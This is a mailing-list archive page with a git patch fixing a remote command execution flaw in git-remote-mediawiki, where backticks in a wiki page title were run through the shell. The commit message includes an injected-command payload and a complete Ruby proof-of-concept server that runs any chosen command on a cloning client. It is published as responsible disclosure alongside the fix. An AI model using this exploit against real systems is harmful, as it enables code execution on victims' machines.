git@vger.kernel.org list mirror (unofficial, one of many)
 help / color / mirror / Atom feed
From: "Ævar Arnfjörð Bjarmason" <avarab@gmail.com>
To: git@vger.kernel.org
Cc: "Junio C Hamano" <gitster@pobox.com>,
	"Matthieu Moy" <git@matthieu-moy.fr>,
	"Johannes Schindelin" <Johannes.Schindelin@gmx.de>,
	"Antoine Beaupré" <anarcat@debian.org>,
	"Đoàn Trần Công Danh" <congdanhqx@gmail.com>,
	"imon Legner" <Simon.Legner@gmail.com>,
	"Eric Sunshine" <sunshine@sunshineco.com>,
	"Jeff King" <peff@peff.net>,
	"Ævar Arnfjörð Bjarmason" <avarab@gmail.com>,
	"Joern Schneeweisz" <jschneeweisz@gitlab.com>
Subject: [PATCH v2 16/18] remote-mediawiki: convert to quoted run_git() invocation
Date: Mon, 21 Sep 2020 12:39:58 +0200
Message-ID: <20200921104000.2304-17-avarab@gmail.com> (raw)
In-Reply-To: <20200916102918.29805-1-avarab@gmail.com>

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.

This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.

The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:

    [...]"title":"`id>/tmp/mw`:Main Page"[..]

Would result in an invocation of:

    git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"

From code such as this, which is being changed by this patch:

    run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));

So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.

About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):

    1. The mediawiki helper has never been shipped as part of an
       official Git for Windows version. Neither has it ever been part
       of an official MSYS2 package. Which means that Windows users
       who want to use the mediawiki helper have to build Git
       themselves, which not many users seem to do.

    2. The last Git for Windows version to ship with Perl v5.22.x was
       Git for Windows v2.11.1; Since Git for Windows
       v2.12.0 (released on February 25th, 2017), only newer Perl
       versions were included.

So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.

For further reference and future testing, here's working exploit code
provided by Joern:

    #!/usr/bin/ruby
    # git client side RCE via `mediawiki` remote proof of concept
    # Joern Schneeweisz - GitLab Security Research Team

    require 'sinatra'
    set bind: '0.0.0.0'

    if not ARGV[0]

      puts "Please provide the shell command to be execucted."
      exit -1

    end

    cmd = ARGV[0]
    all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
    revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
    mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)

    post '/api.php' do

      if params[:list] == 'allpages'
        return all_pages
      end

      if params[:prop] == 'revisions'
        return revs
      end

      return mainpage
    end

Which:

    [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
    being cloned with `git clone mediawiki::http://localhost:4567` the
    file `/tmp/mw` will be created during the clone process,
    containing the output of `id`.

1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command
2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens

Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com>
Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com>
---
 contrib/mw-to-git/git-remote-mediawiki.perl | 49 +++++++++++----------
 1 file changed, 26 insertions(+), 23 deletions(-)

diff --git a/contrib/mw-to-git/git-remote-mediawiki.perl b/contrib/mw-to-git/git-remote-mediawiki.perl
index 59cb277517..bbf68ddc46 100755
--- a/contrib/mw-to-git/git-remote-mediawiki.perl
+++ b/contrib/mw-to-git/git-remote-mediawiki.perl
@@ -56,38 +56,38 @@
 
 # Accept both space-separated and multiple keys in config file.
 # Spaces should be written as _ anyway because we'll use chomp.
-my @tracked_pages = split(/[ \n]/, run_git("config --get-all remote.${remotename}.pages"));
+my @tracked_pages = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.pages"]));
 chomp(@tracked_pages);
 
 # Just like @tracked_pages, but for MediaWiki categories.
-my @tracked_categories = split(/[ \n]/, run_git("config --get-all remote.${remotename}.categories"));
+my @tracked_categories = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.categories"]));
 chomp(@tracked_categories);
 
 # Just like @tracked_categories, but for MediaWiki namespaces.
-my @tracked_namespaces = split(/[ \n]/, run_git("config --get-all remote.${remotename}.namespaces"));
+my @tracked_namespaces = split(/[ \n]/, run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaces"]));
 for (@tracked_namespaces) { s/_/ /g; }
 chomp(@tracked_namespaces);
 
 # Import media files on pull
-my $import_media = run_git("config --get --bool remote.${remotename}.mediaimport");
+my $import_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaimport"]);
 chomp($import_media);
 $import_media = ($import_media eq 'true');
 
 # Export media files on push
-my $export_media = run_git("config --get --bool remote.${remotename}.mediaexport");
+my $export_media = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.mediaexport"]);
 chomp($export_media);
 $export_media = !($export_media eq 'false');
 
-my $wiki_login = run_git("config --get remote.${remotename}.mwLogin");
+my $wiki_login = run_git_quoted(["config", "--get", "remote.${remotename}.mwLogin"]);
 # Note: mwPassword is discouraged. Use the credential system instead.
-my $wiki_passwd = run_git("config --get remote.${remotename}.mwPassword");
-my $wiki_domain = run_git("config --get remote.${remotename}.mwDomain");
+my $wiki_passwd = run_git_quoted(["config", "--get", "remote.${remotename}.mwPassword"]);
+my $wiki_domain = run_git_quoted(["config", "--get", "remote.${remotename}.mwDomain"]);
 chomp($wiki_login);
 chomp($wiki_passwd);
 chomp($wiki_domain);
 
 # Import only last revisions (both for clone and fetch)
-my $shallow_import = run_git("config --get --bool remote.${remotename}.shallow");
+my $shallow_import = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.shallow"]);
 chomp($shallow_import);
 $shallow_import = ($shallow_import eq 'true');
 
@@ -97,9 +97,9 @@
 # Possible values:
 # - by_rev: perform one query per new revision on the remote wiki
 # - by_page: query each tracked page for new revision
-my $fetch_strategy = run_git("config --get remote.${remotename}.fetchStrategy");
+my $fetch_strategy = run_git_quoted(["config", "--get", "remote.${remotename}.fetchStrategy"]);
 if (!$fetch_strategy) {
-	$fetch_strategy = run_git('config --get mediawiki.fetchStrategy');
+	$fetch_strategy = run_git_quoted(["config", "--get", "mediawiki.fetchStrategy"]);
 }
 chomp($fetch_strategy);
 if (!$fetch_strategy) {
@@ -123,9 +123,9 @@
 # will get the history with information lost). If the import is
 # deterministic, this means everybody gets the same sha1 for each
 # MediaWiki revision.
-my $dumb_push = run_git("config --get --bool remote.${remotename}.dumbPush");
+my $dumb_push = run_git_quoted(["config", "--get", "--bool", "remote.${remotename}.dumbPush"]);
 if (!$dumb_push) {
-	$dumb_push = run_git('config --get --bool mediawiki.dumbPush');
+	$dumb_push = run_git_quoted(["config", "--get", "--bool", "mediawiki.dumbPush"]);
 }
 chomp($dumb_push);
 $dumb_push = ($dumb_push eq 'true');
@@ -984,7 +984,7 @@ sub mw_import_revids {
 }
 
 sub error_non_fast_forward {
-	my $advice = run_git('config --bool advice.pushNonFastForward');
+	my $advice = run_git_quoted(["config", "--bool", "advice.pushNonFastForward"]);
 	chomp($advice);
 	if ($advice ne 'false') {
 		# Native git-push would show this after the summary.
@@ -1028,7 +1028,7 @@ sub mw_upload_file {
 		}
 	} else {
 		# Don't let perl try to interpret file content as UTF-8 => use "raw"
-		my $content = run_git("cat-file blob ${new_sha1}", 'raw');
+		my $content = run_git_quoted(["cat-file", "blob", $new_sha1], 'raw');
 		if ($content ne EMPTY) {
 			$mediawiki = connect_maybe($mediawiki, $remotename, $url);
 			$mediawiki->{config}->{upload_url} =
@@ -1098,7 +1098,7 @@ sub mw_push_file {
 			# with this content instead:
 			$file_content = DELETED_CONTENT;
 		} else {
-			$file_content = run_git("cat-file blob ${new_sha1}");
+			$file_content = run_git_quoted(["cat-file", "blob", $new_sha1]);
 		}
 
 		$mediawiki = connect_maybe($mediawiki, $remotename, $url);
@@ -1211,7 +1211,7 @@ sub mw_push_revision {
 		my $parsed_sha1 = $remoteorigin_sha1;
 		# Find a path from last MediaWiki commit to pushed commit
 		print {*STDERR} "Computing path from local to remote ...\n";
-		my @local_ancestry = split(/\n/, run_git("rev-list --boundary --parents ${local} ^${parsed_sha1}"));
+		my @local_ancestry = split(/\n/, run_git_quoted(["rev-list", "--boundary", "--parents", $local, "^${parsed_sha1}"]));
 		my %local_ancestry;
 		foreach my $line (@local_ancestry) {
 			if (my ($child, $parents) = $line =~ /^-?([a-f0-9]+) ([a-f0-9 ]+)/) {
@@ -1235,7 +1235,7 @@ sub mw_push_revision {
 		# No remote mediawiki revision. Export the whole
 		# history (linearized with --first-parent)
 		print {*STDERR} "Warning: no common ancestor, pushing complete history\n";
-		my $history = run_git("rev-list --first-parent --children ${local}");
+		my $history = run_git_quoted(["rev-list", "--first-parent", "--children", $local]);
 		my @history = split(/\n/, $history);
 		@history = @history[1..$#history];
 		foreach my $line (reverse @history) {
@@ -1247,12 +1247,12 @@ sub mw_push_revision {
 	foreach my $commit_info_split (@commit_pairs) {
 		my $sha1_child = @{$commit_info_split}[0];
 		my $sha1_commit = @{$commit_info_split}[1];
-		my $diff_infos = run_git("diff-tree -r --raw -z ${sha1_child} ${sha1_commit}");
+		my $diff_infos = run_git_quoted(["diff-tree", "-r", "--raw", "-z", $sha1_child, $sha1_commit]);
 		# TODO: we could detect rename, and encode them with a #redirect on the wiki.
 		# TODO: for now, it's just a delete+add
 		my @diff_info_list = split(/\0/, $diff_infos);
 		# Keep the subject line of the commit message as mediawiki comment for the revision
-		my $commit_msg = run_git(qq(log --no-walk --format="%s" ${sha1_commit}));
+		my $commit_msg = run_git_quoted(["log", "--no-walk", '--format="%s"', $sha1_commit]);
 		chomp($commit_msg);
 		# Push every blob
 		while (@diff_info_list) {
@@ -1277,7 +1277,10 @@ sub mw_push_revision {
 			}
 		}
 		if (!$dumb_push) {
-			run_git(qq(notes --ref=${remotename}/mediawiki add -f -m "mediawiki_revision: ${mw_revision}" ${sha1_commit}));
+			run_git_quoted(["notes", "--ref=${remotename}/mediawiki",
+					"add", "-f", "-m",
+					"mediawiki_revision: ${mw_revision}",
+					$sha1_commit]);
 		}
 	}
 
@@ -1318,7 +1321,7 @@ sub get_mw_namespace_id {
 		# already cached. Namespaces are stored in form:
 		# "Name_of_namespace:Id_namespace", ex.: "File:6".
 		my @temp = split(/\n/,
-				 run_git("config --get-all remote.${remotename}.namespaceCache"));
+				 run_git_quoted(["config", "--get-all", "remote.${remotename}.namespaceCache"]));
 		chomp(@temp);
 		foreach my $ns (@temp) {
 			my ($n, $id) = split(/:/, $ns);
@@ -1372,7 +1375,7 @@ sub get_mw_namespace_id {
 
 	# Store explicitly requested namespaces on disk
 	if (!exists $cached_mw_namespace_id{$name}) {
-		run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
+		run_git_quoted(["config", "--add", "remote.${remotename}.namespaceCache", "${name}:${store_id}"]);
 		$cached_mw_namespace_id{$name} = 1;
 	}
 	return $id;
-- 
2.28.0.297.g1956fa8f8d


  parent reply	other threads:[~2020-09-21 10:40 UTC|newest]

Thread overview: 54+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2020-09-16 10:29 [PATCH 00/15] remote-mediawiki: various fixes to make tests pass Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 01/15] remote-mediawiki doc: correct link to GitHub project Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 02/15] remote-mediawiki doc: link to MediaWiki's current version Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 03/15] remote-mediawiki doc: bump recommended PHP version to 7.3 Ævar Arnfjörð Bjarmason
2020-09-16 13:47   ` Đoàn Trần Công Danh
2020-09-16 20:41     ` Junio C Hamano
2020-09-16 10:29 ` [PATCH 04/15] remote-mediawiki tests: use the login/password variables Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 05/15] remote-mediawiki tests: use a 10 character password Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 06/15] remote-mediawiki tests: use test_cmp in tests Ævar Arnfjörð Bjarmason
2020-09-16 18:38   ` Jeff King
2020-09-16 10:29 ` [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file Ævar Arnfjörð Bjarmason
2020-09-16 14:04   ` Đoàn Trần Công Danh
2020-09-16 16:53   ` Eric Sunshine
2020-09-16 21:13     ` Junio C Hamano
2020-10-03  7:04       ` [PATCH] test_cmp: diagnose incorrect arguments more precisely Eric Sunshine
2020-10-03 17:22         ` Junio C Hamano
2020-09-21  8:54     ` [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file Ævar Arnfjörð Bjarmason
2020-09-21 10:42       ` Ævar Arnfjörð Bjarmason
2020-09-16 18:41   ` Jeff King
2020-09-16 10:29 ` [PATCH 08/15] remote-mediawiki tests: change `[]` to `test` Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 09/15] remote-mediawiki tests: use "$dir/" instead of "$dir." Ævar Arnfjörð Bjarmason
2020-09-16 18:43   ` Jeff King
2020-09-16 21:15   ` Junio C Hamano
2020-09-16 10:29 ` [PATCH 10/15] remote-mediawiki tests: use a more idiomatic dispatch table Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 11/15] remote-mediawiki tests: replace deprecated Perl construct Ævar Arnfjörð Bjarmason
2020-09-16 18:49   ` Jeff King
2020-09-16 10:29 ` [PATCH 12/15] remote-mediawiki tests: use inline PerlIO for readability Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 13/15] remote-mediawiki tests: use CLI installer Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 14/15] remote-mediawiki: fix duplicate revisions being imported Ævar Arnfjörð Bjarmason
2020-09-16 10:29 ` [PATCH 15/15] remote-mediawiki tests: annotate failing tests Ævar Arnfjörð Bjarmason
2020-09-16 18:57 ` [PATCH 00/15] remote-mediawiki: various fixes to make tests pass Jeff King
2020-09-17 22:28   ` Junio C Hamano
2020-09-16 19:46 ` Johannes Schindelin
2020-09-21 10:15   ` Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 00/18] remote-mediawiki: fix RCE issue, and the tests Ævar Arnfjörð Bjarmason
2020-09-25  6:50   ` Jeff King
2020-09-21 10:39 ` [PATCH v2 01/18] remote-mediawiki doc: correct link to GitHub project Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 02/18] remote-mediawiki doc: link to MediaWiki's current version Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 03/18] remote-mediawiki doc: don't hardcode Debian PHP versions Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 04/18] remote-mediawiki tests: use the login/password variables Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 05/18] remote-mediawiki tests: use a 10 character password Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 06/18] remote-mediawiki tests: use test_cmp in tests Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 07/18] remote-mediawiki tests: change `[]` to `test` Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 08/18] remote-mediawiki tests: use "$dir/" instead of "$dir." Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 09/18] remote-mediawiki tests: use a more idiomatic dispatch table Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 10/18] remote-mediawiki tests: replace deprecated Perl construct Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 11/18] remote-mediawiki tests: use inline PerlIO for readability Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 12/18] remote-mediawiki tests: use CLI installer Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 13/18] remote-mediawiki: fix duplicate revisions being imported Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 14/18] remote-mediawiki tests: annotate failing tests Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` [PATCH v2 15/18] remote-mediawiki: provide a list form of run_git() Ævar Arnfjörð Bjarmason
2020-09-21 10:39 ` Ævar Arnfjörð Bjarmason [this message]
2020-09-21 10:39 ` [PATCH v2 17/18] remote-mediawiki: annotate unquoted uses " Ævar Arnfjörð Bjarmason
2020-09-21 10:40 ` [PATCH v2 18/18] remote-mediawiki: use "sh" to eliminate unquoted commands Ævar Arnfjörð Bjarmason

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

  List information: http://vger.kernel.org/majordomo-info.html

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20200921104000.2304-17-avarab@gmail.com \
    --to=avarab@gmail.com \
    --cc=Johannes.Schindelin@gmx.de \
    --cc=Simon.Legner@gmail.com \
    --cc=anarcat@debian.org \
    --cc=congdanhqx@gmail.com \
    --cc=git@matthieu-moy.fr \
    --cc=git@vger.kernel.org \
    --cc=gitster@pobox.com \
    --cc=jschneeweisz@gitlab.com \
    --cc=peff@peff.net \
    --cc=sunshine@sunshineco.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link

git@vger.kernel.org list mirror (unofficial, one of many)

This inbox may be cloned and mirrored by anyone:

	git clone --mirror https://public-inbox.org/git
	git clone --mirror http://ou63pmih66umazou.onion/git
	git clone --mirror http://czquwvybam4bgbro.onion/git
	git clone --mirror http://hjrcffqmbrq6wope.onion/git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V1 git git/ https://public-inbox.org/git \
		git@vger.kernel.org
	public-inbox-index git

Example config snippet for mirrors.
Newsgroups are available over NNTP:
	nntp://news.public-inbox.org/inbox.comp.version-control.git
	nntp://ou63pmih66umazou.onion/inbox.comp.version-control.git
	nntp://czquwvybam4bgbro.onion/inbox.comp.version-control.git
	nntp://hjrcffqmbrq6wope.onion/inbox.comp.version-control.git
	nntp://news.gmane.io/gmane.comp.version-control.git
 note: .onion URLs require Tor: https://www.torproject.org/

code repositories for the project(s) associated with this inbox:

	https://80x24.org/mirrors/git.git

AGPL code for this site: git clone https://public-inbox.org/public-inbox.git